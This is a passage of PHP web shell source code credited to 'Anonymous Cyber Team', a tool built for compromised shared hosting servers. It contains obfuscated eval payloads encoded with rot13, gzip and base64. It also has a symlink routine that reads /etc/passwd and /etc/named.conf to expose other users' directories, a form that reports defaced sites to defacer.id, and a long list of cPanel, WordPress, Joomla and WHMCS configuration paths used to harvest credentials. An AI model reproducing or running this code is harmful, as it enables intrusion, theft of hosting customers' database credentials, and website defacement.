  752. eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
  753. } elseif($_GET['do'] == 'loghunter')
  754. {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
  755. elseif($_GET['do'] == 'metu') {
  756.  
  757.  
  758. echo '<form action="?dir=$dir&do=metu" method="post">';
  759. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  760. echo 'Byee !';
  761.  
  762. }
  763. elseif($_GET['do'] == 'about') {
  764.  
  765. echo '<center>Anonymous Cyber Team<hr>Coded Shell By FirewalL21 -> Ribang112@gmail.com :(<br> Visit <a href="http://www.anoncyberteam.org/">www.anoncyberteam.org</a>';
  766.  
  767. }
  768. elseif($_GET['do'] == 'symlink') {
  769. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  770. $d0mains = @file("/etc/named.conf");
  771. ##httaces
  772. if($d0mains){
  773. @mkdir("cox_sym",0777);
  774. @chdir("cox_sym");
  775. @exe("ln -s / root");
  776. $file3 = 'Options Indexes FollowSymLinks
  777. DirectoryIndex index.htm
  778. AddType text/plain .php
  779. AddHandler text/plain .php
  780. Satisfy Any';
  781. $fp3 = fopen('.htaccess','w');
  782. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  783. echo "
  784. <table align=center border=1 style='width:60%;border-color:#333333;'>
  785. <tr>
  786. <td align=center><font size=2>S. No.</font></td>
  787. <td align=center><font size=2>Domains</font></td>
  788. <td align=center><font size=2>Users</font></td>
  789. <td align=center><font size=2>Symlink</font></td>
  790. </tr>";
  791. $dcount = 1;
  792. foreach($d0mains as $d0main){
  793. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  794. flush();
  795. if(strlen(trim($domains[1][0])) > 2){
  796. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  797. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  798. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  799. <td>".$user['name']."</td>
  800. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  801. flush();
  802. $dcount++;}}}
  803. echo "</table>";
  804. }else{
  805. $TEST=@file('/etc/passwd');
  806. if ($TEST){
  807. @mkdir("cox_sym",0777);
  808. @chdir("cox_sym");
  809. exe("ln -s / root");
  810. $file3 = 'Options Indexes FollowSymLinks
  811. DirectoryIndex jancok.htm
  812. AddType text/plain .php
  813. AddHandler text/plain .php
  814. Satisfy Any';
  815. $fp3 = fopen('.htaccess','w');
  816. $fw3 = fwrite($fp3,$file3);
  817. @fclose($fp3);
  818. echo "
  819. <table align=center border=1><tr>
  820. <td align=center><font size=3>S. No.</font></td>
  821. <td align=center><font size=3>Users</font></td>
  822. <td align=center><font size=3>Symlink</font></td></tr>";
  823. $dcount = 1;
  824. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  825. while(!feof($file)){
  826. $s = fgets($file);
  827. $matches = array();
  828. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  829. $matches = str_replace("home/","",$matches[1]);
  830. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  831. continue;
  832. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  833. <td align=center><font class=txt>" . $matches . "</td>";
  834. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  835. $dcount++;}fclose($file);
  836. echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  837. Options Indexes FollowSymLinks
  838. DirectoryIndex jancok.htm
  839. AddType text/plain .php
  840. AddHandler text/plain .php
  841. Satisfy Any
  842. ';
  843. $fp3 = fopen('.htaccess','w');
  844. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  845. echo "
  846. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  847. <table align=center border=1><tr>
  848. <td align=center><font size=3>ID</font></td>
  849. <td align=center><font size=3>Users</font></td>
  850. <td align=center><font size=3>Symlink</font></td></tr>";
  851. $temp = "";$val1 = 0;$val2 = 1000;
  852. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  853. if ($uid)$temp .= join(':',$uid)."\n";}
  854. echo '<br/>';$temp = trim($temp);$file5 =
  855. fopen("test.txt","w");
  856. fputs($file5,$temp);
  857. fclose($file5);$dcount = 1;$file =
  858. fopen("test.txt", "r") or exit("Unable to open file!");
  859. while(!feof($file)){$s = fgets($file);$matches = array();
  860. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  861. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  862. continue;
  863. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  864. <td align=center><font class=txt>" . $matches . "</td>";
  865. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  866. $dcount++;}
  867. fclose($file);
  868. echo "</table></div></center>";unlink("test.txt");
  869. } else
  870. echo "<center><font size=3>Cannot create Symlink</font></center>";
  871. }
  872. }
  873. }
  874. elseif($_GET['do'] == 'defacerid') {
  875. echo "<center><form method='post'>
  876. <u>Defacer</u>: <br>
  877. <input type='text' name='hekel' size='50' value'FirewalL21'><br>
  878. <u>Team</u>: <br>
  879. <input type='text' name='tim' size='50' value='Anonymous Cyber Team'><br>
  880. <u>Domains</u>: <br>
  881. <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  882. <input type='submit' name='go' value='Submit' style='width: 450px;'>
  883. </form>";
  884. $site = explode("\r\n", $_POST['sites']);
  885. $go = $_POST['go'];
  886. $hekel = $_POST['hekel'];
  887. $tim = $_POST['tim'];
  888. if($go) {
  889. foreach($site as $sites) {
  890. $zh = $sites;
  891. $form_url = "https://www.defacer.id/notify";
  892. $data_to_post = array();
  893. $data_to_post['attacker'] = "$hekel";
  894. $data_to_post['team'] = "$tim";
  895. $data_to_post['poc'] = 'SQL Injection';
  896. $data_to_post['url'] = "$zh";
  897. $curl = curl_init();
  898. curl_setopt($curl,CURLOPT_URL, $form_url);
  899. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  900. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  901. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  902. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  903. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  904. $result = curl_exec($curl);
  905. echo $result;
  906. curl_close($curl);
  907. echo "<br>";
  908. }
  909. }
  910. }
  911.  
  912. elseif($_GET['do'] == 'config') {
  913. if($_POST){
  914. $passwd = $_POST['passwd'];
  915. mkdir("cox_config", 0777);
  916. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  917. $htc = fopen("cox_config/.htaccess","w");
  918. fwrite($htc, $isi_htc);
  919. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  920. foreach($user_config[1] as $user_cox) {
  921. $user_config_dir = "/home/$user_cox/public_html/";
  922. if(is_readable($user_config_dir)) {
  923. $grab_config = array(
  924. "/home/$user_cox/.my.cnf" => "cpanel",
  925. "/home/$user_cox/.accesshash" => "WHM-accesshash",
  926. "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  927. "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  928. "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  929. "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  930. "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  931. "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  932. "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  933. "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  934. "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  935. "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  936. "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
  937. "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
  938. "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  939. "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  940. "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  941. "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  942. "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  943. "/home/$user_cox/public_html/submitticket.php" => "WHMCS",
  944. "/home/$user_cox/public_html/configuration.php" => "Joomla",
  945. "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  946. "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  947. "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  948. "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  949. "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  950. "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  951. "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  952. "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  953. "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  954. "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  955. "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  956. "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  957. "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  958. "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  959. "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  960. "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  961. "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  962. "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  963. "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  964. "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  965. "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  966. "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  967. "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  968. "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  969. "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  970. "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  971. "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  972. "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  973. "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  974. "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  975. "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  976. "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  977. "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  978. "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  979. "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  980. "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  981. "/home/$user_cox/public_html/wp-config.php" => "WordPress",
  982. "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  983. "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  984. "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  985. "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  986. "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  987. "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  988. "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  989. "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  990. "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  991. "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  992. "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  993. "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  994. "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  995. "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  996. "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  997. "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  998. "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  999. "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1000. "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1001. "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1002. "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1003. "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1004. "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1005. "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1006. "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1007. "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1008. "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1009. "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1010. "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1011. "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1012. "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1013. "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1014. "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1015. "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1016. "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1017. "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1018. "/home1/$user_cox/.my.cnf" => "cpanel",
  1019. "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  1020. "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1021. "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1022. "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1023. "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1024. "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1025. "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
  1026. "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1027. "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1028. "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1029. "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
  1030. "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
  1031. "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1032. "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1033. "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1034. "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1035. "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1036. "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1037. "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
  1038. "/home1/$user_cox/public_html/configuration.php" => "Joomla",
  1039. "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1040. "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1041. "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1042. "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1043. "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1044. "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1045. "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1046. "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1047. "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1048. "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1049. "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1050. "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1051. "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1052. "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1053. "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1054. "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1055. "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1056. "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1057. "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1058. "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1059. "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1060. "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1061. "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1062. "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1063. "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1064. "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1065. "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1066. "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1067. "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1068. "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1069. "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1070. "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1071. "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1072. "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1073. "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1074. "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1075. "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
  1076. "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1077. "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1078. "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1079. "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1080. "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1081. "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1082. "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1083. "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1084. "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1085. "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1086. "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1087. "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1088. "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1089. "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1090. "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1091. "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1092. "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1093. "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1094. "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1095. "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1096. "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1097. "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1098. "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1099. "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1100. "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1101. "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1102. "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1103. "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1104. "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1105. "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1106. "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1107. "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1108. "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1109. "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1110. "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1111. "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1112. "/home2/$user_cox/.my.cnf" => "cpanel",
  1113. "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  1114. "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1115. "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1116. "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1117. "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1118. "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1119. "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
  1120. "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1121. "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1122. "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1123. "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
  1124. "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
  1125. "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1126. "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1127. "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1128. "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1129. "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1130. "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1131. "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
  1132. "/home2/$user_cox/public_html/configuration.php" => "Joomla",
  1133. "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1134. "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1135. "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1136. "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1137. "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1138. "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1139. "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1140. "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1141. "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1142. "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1143. "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1144. "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1145. "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1146. "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1147. "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1148. "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
